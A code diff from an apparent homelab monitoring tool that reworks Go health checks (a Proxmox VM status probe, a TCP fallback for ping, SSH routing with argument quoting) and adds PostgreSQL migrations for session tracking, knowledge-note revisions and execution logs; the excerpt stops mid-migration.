@@ -494,9 +564,13 @@ func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) ch
|
|||||||
timeout = 30 * time.Second
|
timeout = 30 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := net.JoinHostPort(cfg.Host, fmt.Sprintf("%d", cfg.Port))
|
dialHost := cfg.Host
|
||||||
|
if cfg.Dial != "" {
|
||||||
|
dialHost = cfg.Dial
|
||||||
|
}
|
||||||
|
addr := net.JoinHostPort(dialHost, fmt.Sprintf("%d", cfg.Port))
|
||||||
|
|
||||||
d := tls.Dialer{Config: &tls.Config{InsecureSkipVerify: true}}
|
d := tls.Dialer{Config: &tls.Config{InsecureSkipVerify: true, ServerName: cfg.Host}}
|
||||||
conn, err := d.DialContext(ctx, "tcp", addr)
|
conn, err := d.DialContext(ctx, "tcp", addr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return checkResult{
|
return checkResult{
|
||||||
@@ -541,11 +615,61 @@ func checkCertExpiry(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) ch
|
|||||||
return checkResult{health: "healthy", metrics: metrics}
|
return checkResult{health: "healthy", metrics: metrics}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// checkVMStatus reports whether a VM is powered on, via `qm status <pve_id>`
|
||||||
|
// run on its Proxmox host. This is the right reachability probe for a VM that
|
||||||
|
// blocks ICMP (haos) and has no guest agent: it doesn't need the VM's network
|
||||||
|
// at all — "status: running" means the VM is up. The command runs on the host
|
||||||
|
// (not inside the VM), so it uses the host's address with identity wrap.
|
||||||
|
func checkVMStatus(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||||
|
if cd.TargetID == nil {
|
||||||
|
return checkResult{health: "unknown", evidence: "vm-status needs a target VM"}
|
||||||
|
}
|
||||||
|
var pveID, hostAttr string
|
||||||
|
if err := pool.QueryRow(ctx,
|
||||||
|
"SELECT attributes->>'pve_id', COALESCE(attributes->>'host','') FROM entities WHERE id = $1",
|
||||||
|
*cd.TargetID).Scan(&pveID, &hostAttr); err != nil || pveID == "" {
|
||||||
|
return checkResult{health: "unknown", signalKind: "vm-status",
|
||||||
|
evidence: fmt.Sprintf("vm %s has no pve_id", cd.EntitySlug)}
|
||||||
|
}
|
||||||
|
hostSlug := remote.ResolveProxmoxHostSlug(ctx, pool, *cd.TargetID, hostAttr)
|
||||||
|
addr, user, err := remote.ResolveHost(ctx, pool, hostSlug, sshUser)
|
||||||
|
if err != nil {
|
||||||
|
return checkResult{health: "down", signalKind: "vm-status",
|
||||||
|
evidence: fmt.Sprintf("resolve proxmox host for %s: %v", cd.EntitySlug, err), err: err}
|
||||||
|
}
|
||||||
|
|
||||||
|
timeout := time.Duration(cd.TimeoutS) * time.Second
|
||||||
|
if timeout <= 0 {
|
||||||
|
timeout = 15 * time.Second
|
||||||
|
}
|
||||||
|
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
out, err := sshExec(ctx, addr, "22", user, "qm status "+pveID, timeout)
|
||||||
|
if err != nil {
|
||||||
|
return checkResult{health: "down", signalKind: "vm-status",
|
||||||
|
evidence: fmt.Sprintf("qm status %s on %s: %v", pveID, addr, err), err: err}
|
||||||
|
}
|
||||||
|
// `qm status <id>` prints "status: running" (or stopped/paused).
|
||||||
|
if strings.Contains(string(out), "status: running") {
|
||||||
|
return checkResult{health: "healthy"}
|
||||||
|
}
|
||||||
|
trimmed := strings.TrimSpace(string(out))
|
||||||
|
if trimmed == "" {
|
||||||
|
trimmed = "(no output)"
|
||||||
|
}
|
||||||
|
return checkResult{health: "down", signalKind: "vm-status",
|
||||||
|
evidence: fmt.Sprintf("%s not running: %s", cd.EntitySlug, trimmed)}
|
||||||
|
}
|
||||||
|
|
||||||
// checkPing performs an ICMP ping check using the system ping command.
|
// checkPing performs an ICMP ping check using the system ping command.
|
||||||
func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||||
cfg := struct {
|
cfg := struct {
|
||||||
Host string `json:"host"`
|
Host string `json:"host"`
|
||||||
Count int `json:"count"`
|
Count int `json:"count"`
|
||||||
|
// Port for the TCP fallback below. Defaults to 22; set it for hosts
|
||||||
|
// that answer on something else (a Home Assistant VM has no sshd).
|
||||||
|
Port int `json:"port"`
|
||||||
}{}
|
}{}
|
||||||
if len(cd.Config) > 0 {
|
if len(cd.Config) > 0 {
|
||||||
_ = json.Unmarshal(cd.Config, &cfg)
|
_ = json.Unmarshal(cd.Config, &cfg)
|
||||||
@@ -579,9 +703,26 @@ func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
|||||||
|
|
||||||
output, err := cmd.Output()
|
output, err := cmd.Output()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
// ICMP failing does not mean the host is down — it may mean ICMP is
|
||||||
|
// simply unavailable from here. On this deployment the scheduler runs
|
||||||
|
// in Docker on macOS, whose VM network stack does not route ICMP to
|
||||||
|
// the LAN: loopback pings succeed, every LAN ping fails, and all seven
|
||||||
|
// ping checks reported "down" for hosts that were demonstrably up
|
||||||
|
// (including the Docker host itself). Under health aggregation that one
|
||||||
|
// broken probe was enough to drag each entity to down.
|
||||||
|
//
|
||||||
|
// The question this check exists to answer is "is it reachable", and
|
||||||
|
// ICMP is only one way to ask. Fall back to a TCP connect before
|
||||||
|
// concluding anything.
|
||||||
|
if tcpReachable(ctx, cfg.Host, cfg.Port, timeout) {
|
||||||
|
return checkResult{
|
||||||
|
health: "healthy",
|
||||||
|
metrics: map[string]float64{},
|
||||||
|
}
|
||||||
|
}
|
||||||
return checkResult{
|
return checkResult{
|
||||||
health: "down", signalKind: "ping",
|
health: "down", signalKind: "ping",
|
||||||
evidence: fmt.Sprintf("ping %s: %v", cfg.Host, err),
|
evidence: fmt.Sprintf("no ICMP or TCP response from %s: %v", cfg.Host, err),
|
||||||
err: err,
|
err: err,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -595,6 +736,24 @@ func checkPing(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkRes
|
|||||||
return checkResult{health: "healthy", metrics: metrics}
|
return checkResult{health: "healthy", metrics: metrics}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// tcpReachable reports whether a TCP handshake completes, used as the
|
||||||
|
// reachability answer when ICMP is unavailable rather than unanswered.
|
||||||
|
func tcpReachable(ctx context.Context, host string, port int, timeout time.Duration) bool {
|
||||||
|
if port == 0 {
|
||||||
|
port = 22
|
||||||
|
}
|
||||||
|
if timeout <= 0 {
|
||||||
|
timeout = 5 * time.Second
|
||||||
|
}
|
||||||
|
d := net.Dialer{Timeout: timeout}
|
||||||
|
conn, err := d.DialContext(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)))
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
var pingRttRe = regexp.MustCompile(`(?:rtt\s+min\/avg\/max\/mdev|round-trip\s+min\/avg\/max\/stddev)\s*=\s*[\d.]+\/([\d.]+)\/`)
|
var pingRttRe = regexp.MustCompile(`(?:rtt\s+min\/avg\/max\/mdev|round-trip\s+min\/avg\/max\/stddev)\s*=\s*[\d.]+\/([\d.]+)\/`)
|
||||||
|
|
||||||
func parsePingLatency(output []byte) float64 {
|
func parsePingLatency(output []byte) float64 {
|
||||||
@@ -609,13 +768,26 @@ func parsePingLatency(output []byte) float64 {
|
|||||||
return val
|
return val
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkSSHScript executes an allowlisted script on a remote host via SSH.
|
// checkSSHScript executes an allowlisted script on a remote target via SSH.
|
||||||
func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
//
|
||||||
|
// Routing follows the canonical access model (internal/remote): an LXC or VM
|
||||||
|
// is NEVER SSH'd into directly — it is reached through its Proxmox host via
|
||||||
|
// `pct exec`/`qm guest exec`, so a guest needs no lan_ip, sshd, or authorized
|
||||||
|
// key of its own. Hosts and workstations are reached by direct SSH, resolved
|
||||||
|
// live so a workstation's login (mac-mini: `user: dtoro`) is honored without
|
||||||
|
// a re-seed. Services and other entities fall back to the host address baked
|
||||||
|
// into check config at seed time (their hosting container's address).
|
||||||
|
func checkSSHScript(ctx context.Context, pool *db.Pool, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||||
cfg := struct {
|
cfg := struct {
|
||||||
Host string `json:"host"`
|
Host string `json:"host"`
|
||||||
Port int `json:"port"`
|
Port int `json:"port"`
|
||||||
User string `json:"user"`
|
User string `json:"user"`
|
||||||
Script string `json:"script"`
|
Script string `json:"script"`
|
||||||
|
// Args is a single positional argument for the script. checkdefaults
|
||||||
|
// has always written it for process_check.sh, but nothing read it —
|
||||||
|
// so every process check ran argument-less and process_check.sh
|
||||||
|
// answered "no service name provided" with health unknown.
|
||||||
|
Args string `json:"args"`
|
||||||
}{}
|
}{}
|
||||||
if len(cd.Config) > 0 {
|
if len(cd.Config) > 0 {
|
||||||
_ = json.Unmarshal(cd.Config, &cfg)
|
_ = json.Unmarshal(cd.Config, &cfg)
|
||||||
@@ -623,12 +795,6 @@ func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) che
|
|||||||
if cfg.Host == "" || cfg.Script == "" {
|
if cfg.Host == "" || cfg.Script == "" {
|
||||||
return checkResult{health: "healthy"}
|
return checkResult{health: "healthy"}
|
||||||
}
|
}
|
||||||
if cfg.Port == 0 {
|
|
||||||
cfg.Port = 22
|
|
||||||
}
|
|
||||||
if cfg.User == "" {
|
|
||||||
cfg.User = sshUser
|
|
||||||
}
|
|
||||||
|
|
||||||
if !allowlistedScript(cfg.Script) {
|
if !allowlistedScript(cfg.Script) {
|
||||||
return checkResult{
|
return checkResult{
|
||||||
@@ -646,13 +812,56 @@ func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) che
|
|||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
scriptPath := "/opt/oikos/checks/" + cfg.Script
|
scriptPath := "/opt/oikos/checks/" + cfg.Script
|
||||||
port := strconv.Itoa(cfg.Port)
|
if cfg.Args != "" {
|
||||||
|
// Single-quote the argument so an entity name can never break out of
|
||||||
|
// the remote command. The script name itself is allowlisted above.
|
||||||
|
scriptPath += " '" + strings.ReplaceAll(cfg.Args, "'", `'\''`) + "'"
|
||||||
|
}
|
||||||
|
|
||||||
output, err := sshExec(ctx, cfg.Host, port, cfg.User, scriptPath, timeout)
|
// Resolve the execution endpoint. The resolver handles every target kind:
|
||||||
|
// LXC/VM host-hop via pct/qm exec; hosts/workstations direct at their own
|
||||||
|
// address; services route through their hosting compute entity (via the
|
||||||
|
// provides edge) so a service check reaches the right machine with the
|
||||||
|
// right user instead of baking an LXC lan_ip and SSHing it as root.
|
||||||
|
host, port, user := cfg.Host, strconv.Itoa(oru(cfg.Port, 22)), orStr(cfg.User, sshUser)
|
||||||
|
wrap := func(cmd string) string { return cmd }
|
||||||
|
targetType := ""
|
||||||
|
if cd.TargetType != nil {
|
||||||
|
targetType = *cd.TargetType
|
||||||
|
}
|
||||||
|
// target_type was omitted by older writeCheck inserts, so resolve it from
|
||||||
|
// the target entity when the column is blank — otherwise the guest routing
|
||||||
|
// below (IsGuest) never triggers and a guest check falls back to its baked
|
||||||
|
// (often mesh-only) address.
|
||||||
|
if targetType == "" && cd.TargetID != nil {
|
||||||
|
if err := pool.QueryRow(ctx, "SELECT type FROM entities WHERE id = $1", *cd.TargetID).Scan(&targetType); err != nil {
|
||||||
|
targetType = ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if cd.TargetID != nil && targetType != "" {
|
||||||
|
et, err := remote.ResolveExecTargetForCheck(ctx, pool, *cd.TargetID, targetType, sshUser)
|
||||||
|
if err != nil {
|
||||||
|
if remote.IsGuest(targetType) {
|
||||||
|
return checkResult{
|
||||||
|
health: "down", signalKind: "ssh-script",
|
||||||
|
evidence: fmt.Sprintf("route guest %s: %v", cd.EntitySlug, err), err: err,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Non-guest: log the resolution failure so an opaque ssh "down"
|
||||||
|
// doesn't hide that the real cause was host/user resolution, then
|
||||||
|
// fall back to the baked config below.
|
||||||
|
slog.Warn("scheduler: target resolution failed, using baked config",
|
||||||
|
"entity", cd.EntitySlug, "target_type", targetType, "error", err)
|
||||||
|
} else {
|
||||||
|
host, port, user, wrap = et.Host, "22", et.User, et.Wrap
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
output, err := sshExec(ctx, host, port, user, wrap(scriptPath), timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return checkResult{
|
return checkResult{
|
||||||
health: "down", signalKind: "ssh-script",
|
health: "down", signalKind: "ssh-script",
|
||||||
evidence: fmt.Sprintf("ssh %s:%s %s: %v", cfg.Host, strconv.Itoa(cfg.Port), cfg.Script, err),
|
evidence: fmt.Sprintf("ssh %s:%s %s: %v", host, port, cfg.Script, err),
|
||||||
err: err,
|
err: err,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -690,6 +899,20 @@ func checkSSHScript(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) che
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// oru returns v when nonzero, else def. orStr returns v when non-empty, else def.
|
||||||
|
func oru(v, def int) int {
|
||||||
|
if v != 0 {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
func orStr(v, def string) string {
|
||||||
|
if v != "" {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
|
||||||
var scriptNameRe = regexp.MustCompile(`^[a-z][a-z0-9_-]+\.sh$`)
|
var scriptNameRe = regexp.MustCompile(`^[a-z][a-z0-9_-]+\.sh$`)
|
||||||
|
|
||||||
func allowlistedScript(name string) bool {
|
func allowlistedScript(name string) bool {
|
||||||
@@ -723,7 +946,6 @@ func sshExec(ctx context.Context, host, port, user, cmd string, timeout time.Dur
|
|||||||
return out, nil
|
return out, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// metricThreshold defines warn/crit thresholds for a single metric.
|
// metricThreshold defines warn/crit thresholds for a single metric.
|
||||||
type metricThreshold struct {
|
type metricThreshold struct {
|
||||||
Warn float64 `json:"warn"`
|
Warn float64 `json:"warn"`
|
||||||
@@ -759,4 +981,4 @@ func evaluateSeverity(kind string, signalKind string, config []byte, metrics map
|
|||||||
return "warning"
|
return "warning"
|
||||||
}
|
}
|
||||||
|
|
||||||
var _ = uuid.UUID{} // ensure uuid import stays
|
var _ = uuid.UUID{} // ensure uuid import stays
|
||||||
|
|||||||
35
migrations/021_session_blocker_and_closed_at.up.sql
Normal file
35
migrations/021_session_blocker_and_closed_at.up.sql
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
-- 021_session_blocker_and_closed_at.up.sql
|
||||||
|
-- Track why a session ended partial/failed and when it actually closed.
|
||||||
|
-- See plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||||
|
--
|
||||||
|
-- `blocker` is a short structured reason: "approval_timeout",
|
||||||
|
-- "classifier_overreach", "user_abandoned", "tool_error", "model_refusal",
|
||||||
|
-- etc. Set by complete_task when outcome is partial/failed, derived from the
|
||||||
|
-- last assistant message's text. Empty for success outcomes.
|
||||||
|
--
|
||||||
|
-- `closed_at` is when the session reached its terminal state. Distinct from
|
||||||
|
-- `last_active_at`, which is touched on any access (including the operator
|
||||||
|
-- just opening the transcript) — `closed_at` is set ONCE at completion.
|
||||||
|
-- Without it, "session duration" can only be computed as
|
||||||
|
-- `last_active - created`, which lies for reopened sessions (a51e2086
|
||||||
|
-- reported 4-day duration because the operator reopened it to close it).
|
||||||
|
|
||||||
|
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS blocker TEXT NOT NULL DEFAULT '';
|
||||||
|
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS closed_at TIMESTAMPTZ;
|
||||||
|
|
||||||
|
-- Backfill closed_at for already-terminal sessions so the new column isn't
|
||||||
|
-- NULL forever on existing rows. Use last_active_at as the best proxy — it's
|
||||||
|
-- the most recent touch, which is the closest we have to "when it ended"
|
||||||
|
-- for historical sessions. New sessions set closed_at explicitly on
|
||||||
|
-- complete_task.
|
||||||
|
UPDATE agent_sessions
|
||||||
|
SET closed_at = last_active_at
|
||||||
|
WHERE closed_at IS NULL
|
||||||
|
AND status IN ('done', 'failed');
|
||||||
|
|
||||||
|
-- Index for "show me partial sessions in the last N days" — the common
|
||||||
|
-- audit query. Covers the blocker column too so the planner can answer
|
||||||
|
-- "blocker breakdown over the last week" with an index-only scan.
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_agent_sessions_closed
|
||||||
|
ON agent_sessions (closed_at DESC)
|
||||||
|
WHERE status IN ('done', 'failed');
|
||||||
119
migrations/022_knowledge_revisions.up.sql
Normal file
119
migrations/022_knowledge_revisions.up.sql
Normal file
@@ -0,0 +1,119 @@
|
|||||||
|
-- 022_knowledge_revisions.up.sql
|
||||||
|
-- Version history for knowledge_entities, so an edit can never be silently lost.
|
||||||
|
--
|
||||||
|
-- The concrete hazard this closes: the MCP tool `upsert_knowledge`
|
||||||
|
-- (internal/mcp/server.go) keys on title and does
|
||||||
|
-- `ON CONFLICT (entity_id) DO UPDATE SET content = EXCLUDED.content` —
|
||||||
|
-- unconditionally. Before this migration, an operator hand-editing a note in
|
||||||
|
-- the web UI would have that edit overwritten with no trace the next time
|
||||||
|
-- Nomos re-upserted a note with the same title. There was no history table
|
||||||
|
-- and no way to recover the prior body.
|
||||||
|
--
|
||||||
|
-- The snapshot is a BEFORE UPDATE **trigger** rather than application-level
|
||||||
|
-- code in the HTTP handler, specifically because there are two independent
|
||||||
|
-- writers: the web API (new in this change) and the MCP tool the agent uses.
|
||||||
|
-- App-level snapshotting would only cover whichever path remembered to call
|
||||||
|
-- it. A trigger covers both, plus any future writer and any manual psql fix.
|
||||||
|
--
|
||||||
|
-- Each row in knowledge_revisions is a *superseded* version: the state of the
|
||||||
|
-- note before the update that displaced it. The current version always lives
|
||||||
|
-- in knowledge_entities, never here, so "history" is
|
||||||
|
-- knowledge_entities + knowledge_revisions ordered by version_at DESC.
|
||||||
|
|
||||||
|
-- Who authored the version currently in knowledge_entities. Distinct from
|
||||||
|
-- `source`, which is overloaded: it holds either 'nomos-agent' (written via
|
||||||
|
-- MCP) or a seed file path ('containers/101-jellyfin') and is NOT updated on
|
||||||
|
-- conflict, so a seeded doc later rewritten by the agent still reports its
|
||||||
|
-- original file path. edited_by answers the question the UI actually asks —
|
||||||
|
-- "did a human or the agent last touch this?" — without disturbing source,
|
||||||
|
-- which the seeding logic still relies on.
|
||||||
|
ALTER TABLE knowledge_entities
|
||||||
|
ADD COLUMN IF NOT EXISTS edited_by TEXT NOT NULL DEFAULT '';
|
||||||
|
|
||||||
|
-- Backfill: every existing row's last writer is whatever source says. For
|
||||||
|
-- agent-written notes that's exactly right; for seeded notes it records the
|
||||||
|
-- seed path, which is the honest answer (no human has edited them yet).
|
||||||
|
UPDATE knowledge_entities
|
||||||
|
SET edited_by = COALESCE(source, '')
|
||||||
|
WHERE edited_by = '';
|
||||||
|
|
||||||
|
-- Soft delete. A hard DELETE would cascade knowledge_revisions away with the
|
||||||
|
-- entity, which contradicts the point of this migration — removing a note is
|
||||||
|
-- exactly the moment its history matters most. Deleting sets deleted_at; all
|
||||||
|
-- read paths filter it out, the revision trail survives, and an accidental
|
||||||
|
-- delete is recoverable by clearing the column.
|
||||||
|
ALTER TABLE knowledge_entities
|
||||||
|
ADD COLUMN IF NOT EXISTS deleted_at TIMESTAMPTZ;
|
||||||
|
|
||||||
|
-- Partial index: every list/search/read query carries `deleted_at IS NULL`,
|
||||||
|
-- and deleted notes are expected to stay a small minority.
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_knowledge_live
|
||||||
|
ON knowledge_entities (updated_at DESC)
|
||||||
|
WHERE deleted_at IS NULL;
|
||||||
|
|
||||||
|
CREATE TABLE IF NOT EXISTS knowledge_revisions (
|
||||||
|
id BIGSERIAL PRIMARY KEY,
|
||||||
|
entity_id UUID NOT NULL REFERENCES entities(id) ON DELETE CASCADE,
|
||||||
|
title TEXT NOT NULL,
|
||||||
|
content TEXT NOT NULL,
|
||||||
|
source TEXT,
|
||||||
|
tags TEXT[],
|
||||||
|
edited_by TEXT NOT NULL DEFAULT '',
|
||||||
|
-- When this version was written (the superseded row's updated_at).
|
||||||
|
version_at TIMESTAMPTZ NOT NULL,
|
||||||
|
-- When it was replaced. version_at of revision N and revised_at of
|
||||||
|
-- revision N-1 bracket how long that version was the live one.
|
||||||
|
revised_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||||
|
);
|
||||||
|
|
||||||
|
-- The only access pattern: "show me the history of this note, newest first."
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_knowledge_revisions_entity
|
||||||
|
ON knowledge_revisions (entity_id, version_at DESC);
|
||||||
|
|
||||||
|
-- Snapshot the outgoing row whenever the substance changes. Deliberately
|
||||||
|
-- ignores updated_at-only touches: upsert_knowledge sets `updated_at = now()`
|
||||||
|
-- on every call even when re-writing byte-identical content (it has no
|
||||||
|
-- change detection), and without this guard a re-run of the same agent task
|
||||||
|
-- would pile up identical revisions and bury the real edits.
|
||||||
|
--
|
||||||
|
-- `search` is a GENERATED column and is intentionally not carried into
|
||||||
|
-- revisions — it is derived from title+content and would be dead weight.
|
||||||
|
CREATE OR REPLACE FUNCTION snapshot_knowledge_revision() RETURNS TRIGGER AS $$
|
||||||
|
BEGIN
|
||||||
|
IF OLD.title IS DISTINCT FROM NEW.title
|
||||||
|
OR OLD.content IS DISTINCT FROM NEW.content
|
||||||
|
OR OLD.tags IS DISTINCT FROM NEW.tags THEN
|
||||||
|
INSERT INTO knowledge_revisions
|
||||||
|
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||||
|
VALUES
|
||||||
|
(OLD.entity_id, OLD.title, OLD.content, OLD.source, OLD.tags,
|
||||||
|
OLD.edited_by, OLD.updated_at);
|
||||||
|
END IF;
|
||||||
|
RETURN NEW;
|
||||||
|
END;
|
||||||
|
$$ LANGUAGE plpgsql;
|
||||||
|
|
||||||
|
-- DROP + CREATE rather than CREATE OR REPLACE: Postgres 16 has no
|
||||||
|
-- CREATE OR REPLACE TRIGGER for this form, and the migration must stay
|
||||||
|
-- re-runnable.
|
||||||
|
DROP TRIGGER IF EXISTS trg_knowledge_revision ON knowledge_entities;
|
||||||
|
|
||||||
|
CREATE TRIGGER trg_knowledge_revision
|
||||||
|
BEFORE UPDATE ON knowledge_entities
|
||||||
|
FOR EACH ROW EXECUTE FUNCTION snapshot_knowledge_revision();
|
||||||
|
|
||||||
|
-- Trigram similarity, for the duplicate-detection view. The knowledge base
|
||||||
|
-- has already accumulated near-duplicates that exact matching cannot catch —
|
||||||
|
-- four separate "rclone backup live inspection — <date>" investigations, each
|
||||||
|
-- a fresh note where an update to the existing one was meant. upsert_knowledge
|
||||||
|
-- keys on exact title, so a date suffix is enough to fork a new note.
|
||||||
|
--
|
||||||
|
-- similarity() over titles is what lets the UI cluster those and offer a
|
||||||
|
-- merge. fuzzystrmatch (levenshtein) was the alternative; trigram wins here
|
||||||
|
-- because these titles differ by whole appended words rather than typos, and
|
||||||
|
-- because it comes with a GIN index while levenshtein cannot be indexed.
|
||||||
|
CREATE EXTENSION IF NOT EXISTS pg_trgm;
|
||||||
|
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_knowledge_title_trgm
|
||||||
|
ON knowledge_entities USING gin (title gin_trgm_ops)
|
||||||
|
WHERE deleted_at IS NULL;
|
||||||
35
migrations/023_entity_type_monitoring.up.sql
Normal file
35
migrations/023_entity_type_monitoring.up.sql
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
-- 023_entity_type_monitoring.up.sql
|
||||||
|
-- Declare, per entity type, what monitoring that type warrants.
|
||||||
|
--
|
||||||
|
-- Motivation: only 3 of 89 active entities had an enabled check_def, because
|
||||||
|
-- checkdefaults.forEntityType hardcoded a Go `switch` over five entity types
|
||||||
|
-- and resolveHost looked for attribute shapes the seed data never used. The
|
||||||
|
-- failure was silent — every tx.Exec in that file discarded its error.
|
||||||
|
--
|
||||||
|
-- Fixing coverage alone is not enough: coverage is NOT uniform. Some types
|
||||||
|
-- (site, cluster, lan, mesh) are topological groupings with nothing to probe;
|
||||||
|
-- their health is implied by their members. Without an explicit declaration,
|
||||||
|
-- the "unmonitored" signal added alongside this migration would fire
|
||||||
|
-- permanently and unresolvably against entities that are working as intended.
|
||||||
|
--
|
||||||
|
-- So monitoring becomes a property of the TYPE, resolved through the existing
|
||||||
|
-- `parent_type` is-a hierarchy (declaring it on abstract `machine` covers
|
||||||
|
-- proxmox-host / standalone-server / workstation).
|
||||||
|
--
|
||||||
|
-- Three states, deliberately distinguishable:
|
||||||
|
-- NULL — undeclared. An ontology gap; reported at info severity,
|
||||||
|
-- not as a fleet gap. This is why the column is nullable
|
||||||
|
-- rather than defaulting to '[]'.
|
||||||
|
-- '[]' — explicitly none. Excluded from coverage signalling.
|
||||||
|
-- '["http", ...]' — the check kinds this type warrants.
|
||||||
|
--
|
||||||
|
-- The column holds check KINDS only. Deriving each check's config (host,
|
||||||
|
-- script, url, thresholds) stays in Go, in internal/checkdefaults — a config
|
||||||
|
-- template language in YAML is the natural follow-on, not this change.
|
||||||
|
|
||||||
|
ALTER TABLE entity_types ADD COLUMN IF NOT EXISTS monitoring_spec JSONB;
|
||||||
|
|
||||||
|
-- Kept on one line and free of semicolons: the migration runner splits on ';'
|
||||||
|
-- without tracking string literals, so both a newline and an inner semicolon
|
||||||
|
-- would truncate this statement mid-quote.
|
||||||
|
COMMENT ON COLUMN entity_types.monitoring_spec IS 'Check kinds this type warrants, resolved through parent_type. NULL means undeclared (an ontology gap), [] means explicitly unmonitorable, ["http","resource"] means declared kinds. Populated from seeds/ontology.yaml.';
|
||||||
18
migrations/024_executions_created_at_index.up.sql
Normal file
18
migrations/024_executions_created_at_index.up.sql
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
-- 024_executions_created_at_index.up.sql
|
||||||
|
-- Support newest-first execution history.
|
||||||
|
--
|
||||||
|
-- ListExecutions previously ordered by the target entity's slug, which is
|
||||||
|
-- neither useful for a history view nor unique enough to paginate on. It now
|
||||||
|
-- orders by (created_at DESC, entity_id DESC) -- the compound key the cursor
|
||||||
|
-- carries -- and executions had indexes only on target_entity_id and status.
|
||||||
|
--
|
||||||
|
-- The same ordering backs /activity/recent, which was doing this unindexed.
|
||||||
|
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_executions_created_at
|
||||||
|
ON executions (created_at DESC, entity_id DESC);
|
||||||
|
|
||||||
|
-- Per-entity history ("what has run against this host?") filters on the target
|
||||||
|
-- and then sorts, so give it a composite rather than making the planner sort
|
||||||
|
-- every row for a target with a long history.
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_executions_target_created_at
|
||||||
|
ON executions (target_entity_id, created_at DESC);
|
||||||
43
migrations/025_execution_logs.up.sql
Normal file
43
migrations/025_execution_logs.up.sql
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
-- 025_execution_logs.up.sql
|
||||||
|
-- Incremental command output for executions.
|
||||||
|
--
|
||||||
|
-- Until now `executions.result` was a single JSONB blob written once, at the
|
||||||
|
-- terminal state: {"output": "...everything..."}. Two consequences:
|
||||||
|
--
|
||||||
|
-- 1. Nothing could be seen while a command ran. A ten-minute apt upgrade
|
||||||
|
-- showed an empty row until it finished.
|
||||||
|
-- 2. On the sshExecTimeout path the output was discarded entirely — the
|
||||||
|
-- code returned "" — so the executions most worth inspecting (the ones
|
||||||
|
-- that hung) were the ones that left no trace at all.
|
||||||
|
--
|
||||||
|
-- Chunks land here as they arrive. `executions.result` still gets the full
|
||||||
|
-- output at the end, so existing readers keep working unchanged and this
|
||||||
|
-- table is purely additive.
|
||||||
|
|
||||||
|
CREATE TABLE IF NOT EXISTS execution_logs (
|
||||||
|
execution_id UUID NOT NULL,
|
||||||
|
ts TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||||
|
-- Monotonic per execution. ts alone cannot order chunks: several arrive
|
||||||
|
-- within the same microsecond on a fast command.
|
||||||
|
seq INTEGER NOT NULL,
|
||||||
|
-- 'stdout' or 'stderr'. Both are also concatenated into the combined
|
||||||
|
-- output, matching what CombinedOutput used to return.
|
||||||
|
stream TEXT NOT NULL,
|
||||||
|
chunk TEXT NOT NULL,
|
||||||
|
PRIMARY KEY (execution_id, seq, ts)
|
||||||
|
);
|
||||||
|
|
||||||
|
SELECT create_hypertable('execution_logs', 'ts',
|
||||||
|
chunk_time_interval => INTERVAL '7 days', if_not_exists => TRUE);
|
||||||
|
|
||||||
|
-- The only query that matters: replay one execution's output in order.
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_execution_logs_exec_seq
|
||||||
|
ON execution_logs (execution_id, seq);
|
||||||
|
|
||||||
|
-- Matches the events table's 90 days. Command output is bulkier than events,
|
||||||
|
-- but keeping it exactly as long as the event stream that references it avoids
|
||||||
|
-- dangling 'execution.output' events pointing at rows that no longer exist.
|
||||||
|
DO $$ BEGIN
|
||||||
|
PERFORM add_retention_policy('execution_logs', INTERVAL '90 days');
|
||||||
|
